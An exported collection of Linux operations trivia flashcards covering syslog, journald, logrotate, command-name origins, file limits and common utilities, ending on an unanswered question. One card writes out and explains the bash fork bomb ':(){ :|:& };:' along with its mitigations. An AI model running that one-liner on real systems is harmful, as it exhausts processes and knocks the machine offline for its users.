''Related atoms''
* [[What is syslog-ng?]]
* [[Linux logging is a layered system with interdependent components]]
* [[What is the difference between /var/log/messages and /var/log/syslog?]]
Q: What are syslog facilities?
A: Categories for log messages: kern, user, mail, daemon, auth, syslog, lpr, news, uucp, cron, authpriv, ftp, local0-local7. Used in rsyslog rules to route messages.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is syslog-ng?]]
* [[What are syslog priorities (severities)?]]
* [[What is the difference between /var/log/messages and /var/log/syslog?]]
Q: What is syslog-ng?
A: An alternative syslog daemon with advanced log routing, filtering by message content/regex, structured data support, and flexible output options (files, databases, network, message queues).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is rsyslog?]]
* [[What are syslog facilities?]]
* [[What is the difference between /var/log/messages and /var/log/syslog?]]
Q: What is journald?
A: systemd's logging daemon (<html><code>systemd-journald</code></html>). Stores structured, binary logs with rich metadata (unit, PID, UID, boot ID, etc.). Queried with <html><code>journalctl</code></html>. Can forward to syslog.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[journalctl: primary tool for querying the systemd journal]]
* [[Linux system log files and their locations]]
* [[What does `journalctl --disk-usage` show?]]
Q: What is the difference between /var/log/messages and /var/log/syslog?
A: RHEL/CentOS uses <html><code>/var/log/messages</code></html>. Debian/Ubuntu uses <html><code>/var/log/syslog</code></html>. Both serve the same purpose — general system log messages. The name is a distribution convention.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[System log file paths differ significantly across Linux distros]]
* [[How do system log locations differ between Debian and RHEL?]]
* [[What are syslog facilities?]]
Q: What is /var/log/auth.log?
A: Authentication-related logs on Debian/Ubuntu (login attempts, sudo usage, SSH sessions). RHEL uses <html><code>/var/log/secure</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do system log locations differ between Debian and RHEL?]]
* [[System log file paths differ significantly across Linux distros]]
* [[auditd: kernel-level security audit logging for Linux]]
Q: What is logrotate?
A: A utility that rotates, compresses, and removes old log files. Configuration in <html><code>/etc/logrotate.conf</code></html> and <html><code>/etc/logrotate.d/</code></html>. Options include rotation frequency (daily, weekly), compression, max age, and post-rotation scripts.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does logrotate `postrotate/endscript` do?]]
* [[logrotate was invented to solve log files filling disks]]
* [[What is the `logrotate` `copytruncate` directive?]]
Q: What are syslog priorities (severities)?
A: 0=emerg, 1=alert, 2=crit, 3=err, 4=warning, 5=notice, 6=info, 7=debug. In rsyslog rules, <html><code>*.err</code></html> matches all facilities at error level and above.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What log priorities does journalctl support?]]
* [[What are syslog facilities?]]
* [[What is rsyslog?]]
Q: How do you send a message to syslog from the command line?
A: <html><code>logger -p local0.info "My log message"</code></html>. The <html><code>-t</code></html> flag sets a tag, <html><code>-p</code></html> sets facility.priority.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `logger` command?]]
* [[What are syslog facilities?]]
* [[What is syslog-ng?]]
Q: How do you view only error-level journal entries?
A: <html><code>journalctl -p err</code></html> or <html><code>journalctl -p 3</code></html>. Use <html><code>-p 0..3</code></html> to show emerg through err.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What log priorities does journalctl support?]]
* [[journalctl: primary tool for querying the systemd journal]]
* [[How do you check why a service failed?]]
Q: How do you persist journald logs across reboots?
A: Create <html><code>/var/log/journal/</code></html> directory: <html><code>mkdir -p /var/log/journal && systemd-tmpfiles --create --prefix /var/log/journal</code></html>. Or set <html><code>Storage=persistent</code></html> in <html><code>/etc/systemd/journald.conf</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is journald?]]
* [[On a system which uses systemd, how would you display the logs?]]
* [[Linux system log files and their locations]]
Q: What is structured logging?
A: Logging with key-value metadata (timestamp, host, service, severity, message) rather than free-form text. journald stores structured data natively. JSON is a common structured log format.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is journald?]]
Q: What does <html><code>journalctl --disk-usage</code></html> show?
A: The total disk space used by the journal. Control maximum size with <html><code>SystemMaxUse=</code></html> in <html><code>/etc/systemd/journald.conf</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is journald?]]
* [[What does `journalctl -b -1` show?]]
* [[What is `journalctl --vacuum-time=7d`?]]
Q: What does <html><code>journalctl -b -1</code></html> show?
A: Logs from the previous boot. <html><code>-b 0</code></html> is the current boot, <html><code>-b -2</code></html> is two boots ago. Requires persistent journal storage.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `journalctl --disk-usage` show?]]
* [[What is journald?]]
* [[What is `journalctl --vacuum-time=7d`?]]
Q: What is the <html><code>logrotate</code></html> <html><code>copytruncate</code></html> directive?
A: Instead of renaming the log file and creating a new one (which requires the application to reopen), <html><code>copytruncate</code></html> copies the file then truncates the original. Useful for apps that don't handle SIGHUP for log reopening.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does logrotate `postrotate/endscript` do?]]
* [[What is logrotate?]]
* [[Developer added cron job which generate massive log files. How do you prevent them from…]]
The <html><code>logrotate</code></html> tool, written in 1996, exists because of a fundamental Unix design principle: log files are append-only, yet disk space is finite. Before logrotate, system administrators wrote custom cron jobs to rename log files, compress old ones, and delete the oldest. A critical feature, <html><code>copytruncate</code></html>, was added because many daemons (notably Apache, syslog, and others) do not properly handle the SIGHUP signal used to reopen log files after rotation. With <html><code>copytruncate</code></html>, logrotate copies the live log to a backup, then truncates the original file in place — allowing the daemon to keep writing to the same file descriptor without interruption. Without this option, a daemon would continue appending to an unlinked file, causing log loss and confusing behavior. The existence of <html><code>copytruncate</code></html> is a workaround for poor signal handling design in production software, yet it remains necessary 25+ years after logrotate's creation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia.md</code></html>
''Related atoms''
* [[What is logrotate?]]
* [[What does logrotate `postrotate/endscript` do?]]
* [[Developer added cron job which generate massive log files. How do you prevent them from…]]
Q: What does logrotate <html><code>postrotate/endscript</code></html> do?
A: Runs a script after log rotation. Commonly used to send SIGHUP to a daemon so it reopens log files: <html><code>postrotate /usr/bin/systemctl reload rsyslog endscript</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is logrotate?]]
* [[What is the `logrotate` `copytruncate` directive?]]
* [[logrotate was invented to solve log files filling disks]]
Q: What is <html><code>journalctl --vacuum-time=7d</code></html>?
A: Removes journal entries older than 7 days. <html><code>--vacuum-size=1G</code></html> removes entries until the journal is under 1GB. Useful for reclaiming disk space.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `journalctl --disk-usage` show?]]
* [[What does `journalctl -b -1` show?]]
* [[What is journald?]]
Q: What is the <html><code>logger</code></html> command?
A: Sends messages to the system log from the command line or scripts: <html><code>logger -p local0.warning "Disk usage high"</code></html>. Useful for integrating custom scripts with the centralized logging infrastructure.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you send a message to syslog from the command line?]]
* [[Linux system log files and their locations]]
Q: What is ELK/EFK stack?
A: ELK: Elasticsearch (storage/search), Logstash (processing), Kibana (visualization). EFK replaces Logstash with Fluentd/Fluent Bit (lighter weight). Used for centralized log aggregation and analysis.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the core tools in the *arr stack and what does each do?]]
Q: What is the difference between Fluentd and Fluent Bit?
A: Fluentd is a full-featured log collector/processor written in Ruby/C. Fluent Bit is a lightweight subset written in C, optimized for embedded systems and containers. Both are CNCF projects.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is ELK/EFK stack?]]
Q: What is log shipping?
A: Forwarding logs from local systems to a centralized logging server. rsyslog can forward via TCP/UDP. journald can forward to a remote journal-remote. Common in production for compliance and troubleshooting.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is rsyslog?]]
* [[What are syslog facilities?]]
* [[What is journald?]]
Q: What is Tux?
A: The Linux mascot — a penguin. Created by Larry Ewing in 1996 using GIMP. Linus Torvalds suggested a penguin because he was bitten by a fairy penguin at an Australian zoo and thought penguins were "sitting around lounging" — a good vibe for an OS.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does "POSIX" stand for?]]
Q: Where does the name "grep" come from?
A: From the <html><code>ed</code></html> editor command <html><code>g/re/p</code></html> — "global / regular expression / print."
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is the difference between `grep -E` and `grep -P`?]]
* [[What does `grep -l` do?]]
* [[What does `grep -o` do?]]
Q: Where does the name "awk" come from?
A: Named after its creators: Alfred Aho, Peter Weinberger, and Brian Kernighan.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are awk's key built-in variables?]]
* [[What the awk command does? Have you used it? What for?]]
* [[What is the basic structure of an awk program?]]
Q: Where does the name "sed" come from?
A: "Stream EDitor."
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Where does the name "grep" come from?]]
* [[How do you perform a basic sed substitution?]]
* [[What is escaping? What escape character is used for?]]
Q: What does "sudo" stand for?
A: "Superuser do" — though it also works to run commands as other non-root users.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between su and sudo?]]
* [[sudo was created at SUNY Buffalo in 1980, syntax is notoriously complex]]
* [[What is the basic sudoers syntax?]]
Q: What does "SSH" stand for?
A: Secure Shell.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is SSH? How to check if a Linux server is running SSH?]]
* [[What is the well-known port for SSH?]]
Q: What does "POSIX" stand for?
A: Portable Operating System Interface — a family of IEEE standards (1003.x) for Unix-like OS compatibility.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What does "TTY" stand for?
A: TeleTYpewriter — a historical term for the text input/output terminal devices. In Linux, <html><code>/dev/tty*</code></html> are virtual consoles and <html><code>/dev/pts/*</code></html> are pseudo-terminals.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does "PTY" stand for?]]
* [[What is the difference between a physical and virtual console?]]
* [[What is the `chvt` command?]]
Q: What is a TTY device?
A: TTY (TeleTYpewriter) is a terminal device for user I/O.
Types:
* /dev/tty[1-6]: Virtual consoles (Ctrl+Alt+F1-F6)
* /dev/pts/N: Pseudo-terminals (SSH, terminal emulators)
* /dev/ttyS*: Serial ports
* /dev/ttyUSB*: USB serial devices
TTY subsystem provides:
* Line editing (backspace, etc.)
* Signal generation (Ctrl+C)
* Job control (foreground/background)
* Terminal modes (raw, cooked)
Commands:
* tty - Print current terminal
* who - Shows user terminals
* stty - Configure terminal settings
* write - Send message to terminal
Check terminal:
* tty command or echo $TTY
* /dev/pts/0 typical for SSH/terminal
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What does "PTY" stand for?]]
* [[What is the difference between a physical and virtual console?]]
* [[What is `screen` used for?]]
Q: What does "PTY" stand for?
A: Pseudo-TeletYpe — a pair of virtual devices (master/slave) used by terminal emulators and SSH. The master side is the emulator; the slave side (<html><code>/dev/pts/N</code></html>) is what the shell sees.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does "TTY" stand for?]]
* [[What is a TTY device?]]
Q: What are file descriptors 0, 1, and 2?
A: 0 = stdin (standard input), 1 = stdout (standard output), 2 = stderr (standard error). Every process inherits these three FDs.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain differences between `2>&-`, `2>/dev/null`, `|&`, `&>/dev/null`, and `>/dev/null…]]
* [[What does `2>` do?]]
Q: What is the <html><code>make menuconfig</code></html> command?
A: An ncurses-based interface for configuring Linux kernel build options. Generates a <html><code>.config</code></html> file that controls which features and drivers are compiled.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the GRUB_CMDLINE_LINUX variable?]]
* [[What kernel configuration file controls module parameters at load time?]]
Q: What is a bzImage?
A: "Big zImage" — the compressed Linux kernel image format used on x86. Created by <html><code>make bzImage</code></html>. Despite the name, it uses gzip (or other) compression, not bzip2.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between `tar` and `gzip`?]]
* [[What compression tools are available on Linux?]]
Q: What does "dd" stand for?
A: Officially "convert and copy" (from IBM's JCL <html><code>dd</code></html> = Data Definition). Jokingly called "disk destroyer" due to its potential for data loss when misused.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[dd has no undo and no safety check; verify source and destination before running]]
* [[What is /dev/zero?]]
* [[What is copy-on-write (COW)?]]
Q: What is the maximum filename length in most Linux filesystems?
A: 255 bytes (characters in UTF-8 may use multiple bytes).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the maximum path length in Linux?]]
* [[What character is forbidden in Linux filenames?]]
* [[What does `fs.file-max` control?]]
Q: What is the maximum path length in Linux?
A: 4096 bytes (PATH_MAX), defined in the kernel.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the maximum filename length in most Linux filesystems?]]
* [[What character is forbidden in Linux filenames?]]
* [[How to permanently set `$PATH` on Linux/Unix? Why is this variable so important?]]
Q: What character is forbidden in Linux filenames?
A: The forward slash <html><code>/</code></html> (directory separator) and the null byte <html><code>\0</code></html>. Everything else is technically valid, though many characters cause practical issues.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the maximum filename length in most Linux filesystems?]]
* [[In Linux FHS (Filesystem Hierarchy Standard) what is the /?]]
* [[What is the maximum path length in Linux?]]
Q: What happens when you run <html><code>:(){ :|:& };:</code></html> in a shell?
A: This is a fork bomb — a function named <html><code>:</code></html> that calls itself twice, piping to itself, backgrounded. It exponentially spawns processes until the system is overwhelmed. Mitigated by ulimit or cgroup PID limits.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain `:(){ :|:& };:` and how stop this code if you are already logged into a system?]]
* [[What does the fork bomb :(){ :|:& };: do and how do you stop it?]]
* [[What happens during fork() vs exec()?]]
Q: What is /dev/shm?
A: A tmpfs mount for POSIX shared memory. Applications using <html><code>shm_open()</code></html> create files here. Commonly used for high-speed inter-process communication.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of /dev?]]
* [[tmpfs: RAM-backed filesystem — behavior, uses, and limits]]
* [[What is /dev/urandom?]]
Q: What does "RTFM" stand for?
A: "Read The Fine Manual" — a common response in Linux communities directing users to read documentation (man pages).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `fmt` command?]]
* [[What does RHEL stand for?]]
* [[What is `crun`?]]
Q: What is a man page section number system?
A: 1=user commands, 2=system calls, 3=library functions, 4=special files, 5=file formats, 6=games, 7=miscellaneous, 8=system administration. Access with <html><code>man 5 passwd</code></html> for the passwd file format.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Why are there different sections in man? What is the difference?]]
* [[What does the man command provide?]]
* [[What is the difference between man and info?]]
Q: What is the <html><code>info</code></html> command?
A: GNU's documentation system, often more detailed than man pages for GNU tools. Navigate with <html><code>info coreutils</code></html> for detailed documentation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between man and info?]]
* [[What does the man command provide?]]
* [[How do you get help on the command line?]]
Q: What is /etc/motd?
A: "Message of the Day" — displayed to users after login. Can be static (file content) or dynamic (generated by scripts in <html><code>/etc/update-motd.d/</code></html> on Ubuntu).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is /etc/login.defs?]]
* [[What is `/etc/cron.d/`?]]
* [[What is /etc/login.defs used for in security?]]
Q: What does "ping" stand for?
A: Named after sonar ping sounds. Sends ICMP echo request packets and measures round-trip time.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[ping was written in one evening by Mike Muuss in 1983]]
Q: What is <html><code>wget</code></html> vs <html><code>curl</code></html>?
A: <html><code>wget</code></html> is a non-interactive downloader (recursive download, resume). <html><code>curl</code></html> is a data transfer tool supporting many protocols (HTTP, FTP, SMTP, etc.) with more flexible output options. <html><code>curl</code></html> is better for APIs; <html><code>wget</code></html> for mirroring websites.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `curl -v` flag useful for?]]
* [[How can you send an HTTP request from your shell?]]
Q: What is <html><code>/etc/hostname</code></html>?
A: Contains the system's static hostname. Set with <html><code>hostnamectl set-hostname</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of the /etc/hosts file?]]
* [[How to check what is the hostname of the system?]]
* [[/etc is named "et cetera" — literally a junk drawer]]
Q: What is the <html><code>hostnamectl</code></html> command?
A: Manages the system hostname on systemd systems. <html><code>hostnamectl set-hostname myserver</code></html> sets all three hostname types (static, transient, pretty). Shows OS and kernel info with <html><code>hostnamectl status</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `resolvectl status` show?]]
* [[What is the `host` command?]]
* [[How to check what is the hostname of the system?]]
Q: What is the <html><code>uptime</code></html> command?
A: Shows current time, how long the system has been running, number of logged-in users, and load averages.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `w` command?]]
* [[What do the three load average numbers represent in Linux (shown by `uptime` or `top`)?]]
Q: What does <html><code>whoami</code></html> do?
A: Prints the effective username of the current user.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain what each of the following commands does:]]
Q: What does <html><code>which</code></html> do?
A: Shows the full path of a command by searching PATH. <html><code>which python3</code></html> might show <html><code>/usr/bin/python3</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the PATH variable?]]
Q: What does <html><code>type</code></html> do in Bash?
A: Shows how a command name would be interpreted — whether it's an alias, function, builtin, or external command with path.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is a FIFO (named pipe)?
A: A special file that allows inter-process communication. Created with <html><code>mkfifo</code></html>. One process writes, another reads. Data flows through the kernel buffer, not the filesystem.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain the pipe() system call. What does it used for?]]
* [[File descriptor in Linux/Unix]]
Q: What is <html><code>inotifywait</code></html>?
A: A tool that watches filesystem events (create, modify, delete, move) on files or directories. Part of inotify-tools. Useful for triggering actions on file changes.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you run command every time a file is modified?]]
Q: What is the magic number in a Linux executable?
A: ELF binaries start with the magic bytes <html><code>\x7fELF</code></html> (hex: 7f 45 4c 46). ELF stands for Executable and Linkable Format.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `file` command?]]
* [[What is the maximum path length in Linux?]]
* [[What is the syscall number for `write` on x86-64 Linux?]]
Q: What is the <html><code>file</code></html> command?
A: Determines a file's type by examining its content (magic numbers, headers), not its extension: <html><code>file /bin/ls</code></html> outputs "ELF 64-bit LSB executable."
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What system call is used for listing files?]]
* [[What is the magic number in a Linux executable?]]
Q: What is a core dump?
A: A file containing the memory image of a process at the time it crashed. Generated by signals like SIGSEGV, SIGABRT. Analyzed with <html><code>gdb</code></html> for debugging. Controlled by <html><code>ulimit -c</code></html> and <html><code>/proc/sys/kernel/core_pattern</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `coredumpctl`?]]
* [[What is SIGSEGV?]]
* [[What is kdump and how does it capture crash dumps during a kernel panic?]]
Q: What is <html><code>watch</code></html>?
A: Runs a command repeatedly (default every 2 seconds) and displays the output. <html><code>watch -n 1 'ss -tlnp'</code></html> monitors listening ports every second. <html><code>-d</code></html> highlights changes.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `ss -s` command useful for?]]
Q: What is an epoch timestamp?
A: The number of seconds since January 1, 1970 00:00:00 UTC (Unix epoch). Used internally by Linux for timestamps. Convert with <html><code>date -d @1711411200</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the three timestamps on a Linux file?]]
Q: What is the Year 2038 problem?
A: 32-bit time_t (signed) overflows on January 19, 2038 03:14:07 UTC. Linux has migrated to 64-bit time on 64-bit systems. 32-bit systems need kernel and library patches.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is an epoch timestamp?]]
Q: What does <html><code>stat</code></html> show?
A: Detailed file information: size, blocks, device, inode, links, permissions (octal and symbolic), UID/GID, timestamps (access, modify, change, birth).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `iostat` show?]]
* [[What does `pidstat` show?]]
Q: What are the three timestamps on a Linux file?
A: atime (last access), mtime (last content modification), ctime (last metadata change — permissions, ownership, link count). Some filesystems also support btime/crtime (birth/creation time).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is an epoch timestamp?]]
Q: What does <html><code>touch</code></html> actually do?
A: Updates the access and modification timestamps of a file. If the file doesn't exist, it creates an empty file. Not primarily a file creation tool, despite common use.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you create an empty file or update its timestamp?]]
* [[Explain what each of the following commands does and give an example on how to use it:]]
Q: What is the <html><code>column</code></html> command useful for?
A: Formats input into aligned columns: <html><code>mount | column -t</code></html> produces a neatly formatted table.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Listing currently mounted filesystems (mount, findmnt)]]
Q: What is the <html><code>column -t</code></html> command useful for?
A: Formats whitespace-delimited input into aligned columns. <html><code>cat /etc/fstab | column -t</code></html> produces a neatly formatted table.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `fmt` command?]]
* [[Listing currently mounted filesystems (mount, findmnt)]]
Q: What is <html><code>screen</code></html> used for?
A: A terminal multiplexer that allows running multiple virtual terminals within one session, detaching and reattaching sessions, and keeping processes alive after disconnection.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between `screen` and `tmux`?]]
* [[tmux displaced Screen as the standard terminal multiplexer]]
* [[What is a TTY device?]]
Q: What does "cpio" stand for?
A: "Copy In and Out" — an archive format and utility used by initramfs, RPM packages, and the <html><code>find | cpio</code></html> pattern.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is initramfs?]]
* [[What is the difference between initramfs and initrd?]]
* [[What does "tar" stand for?]]
Q: What does "wget" stand for?
A: "Web GET" — a non-interactive network downloader.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What does "tar" stand for?
A: "Tape ARchive" — originally designed for writing data to tape drives.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is an archive? How do you create one in Linux?]]
* [[What is the difference between `tar` and `gzip`?]]
Q: What does "rsync" stand for?
A: "Remote Sync" — an efficient file transfer tool that only copies differences (delta encoding). <html><code>rsync -avz source/ dest/</code></html> is the most common invocation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `sync` do?]]
Q: What are the "dotfiles"?
A: Configuration files in the home directory starting with a dot (hidden by default). Examples: <html><code>.bashrc</code></html>, <html><code>.vimrc</code></html>, <html><code>.ssh/</code></html>, <html><code>.gitconfig</code></html>. Often version-controlled for portability.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What files does a Bash interactive non-login shell source?]]
* [[What is stored in each of the following paths?]]
Q: What is the <html><code>alias</code></html> command?
A: Creates shorthand for commands: <html><code>alias ll='ls -la'</code></html>. Defined in <html><code>.bashrc</code></html> for persistence. <html><code>unalias ll</code></html> removes it. <html><code>alias</code></html> with no arguments lists all aliases.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What exactly does the command alias x=y do?]]
* [[How do you create a shortcut for a complex command in Bash?]]
Q: What is the sticky bit shown as in <html><code>ls -l</code></html>?
A: A lowercase <html><code>t</code></html> in the others' execute position: <html><code>drwxrwxrwt</code></html> (e.g., /tmp). If execute is not set, it shows as uppercase <html><code>T</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the sticky bit?]]
* [[The sticky bit originally prevented memory paging, now prevents deletion]]
* [[What is the purpose of sticky bit?]]
Q: What is the <html><code>chattr</code></html> command?
A: Changes file attributes on ext2/ext3/ext4 filesystems. <html><code>chattr +i file</code></html> makes it immutable (cannot be modified, deleted, renamed, or linked — even by root). <html><code>chattr +a file</code></html> makes it append-only. View with <html><code>lsattr</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `file` command?]]
Q: What is the <html><code>last</code></html> command?
A: Shows the last logged-in users by reading <html><code>/var/log/wtmp</code></html>. <html><code>last reboot</code></html> shows system reboot history. <html><code>lastb</code></html> shows failed login attempts from <html><code>/var/log/btmp</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you get a list of logged-in users?]]
* [[How to see a list of who logged in to the system?]]
* [[What is the `w` command?]]
Q: What is the <html><code>w</code></html> command?
A: Shows who is currently logged in and what they are doing (current command). More informative than <html><code>who</code></html>, includes idle time, login time, and load averages.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you get a list of logged-in users?]]
* [[What is the `uptime` command?]]
* [[What is the `w` command's JCPU and PCPU columns?]]
Q: What does <html><code>sync</code></html> do?
A: Flushes filesystem buffers — writes all modified in-memory data to disk. Important before removing external drives or shutting down.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `snapraid sync` do, and when should you run it?]]
Q: What is <html><code>mktemp</code></html>?
A: Creates a temporary file or directory with a unique name. <html><code>mktemp /tmp/myapp.XXXXXX</code></html> creates something like <html><code>/tmp/myapp.a3b4c5</code></html>. Prevents race conditions in temp file creation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Why do we need `mktemp` command? Present an example of use.]]
* [[What is the purpose of /tmp?]]
Q: What does <html><code>readlink -f</code></html> do?
A: Resolves a symbolic link to its absolute canonical path, following all intermediate symlinks. Useful in scripts to find the real location of a file.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What happens when you delete the target of a symbolic link?]]
* [[What happens when you delete the original file in a soft link?]]
Q: What is the <html><code>yes</code></html> command?
A: Repeatedly outputs a string (default "y") until killed. Used to auto-accept prompts: <html><code>yes | apt-get install package</code></html>. Also used for stress testing.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `$?` contain?]]
* [[What does exit code 0 mean?]]
Q: What is <html><code>/etc/shells</code></html>?
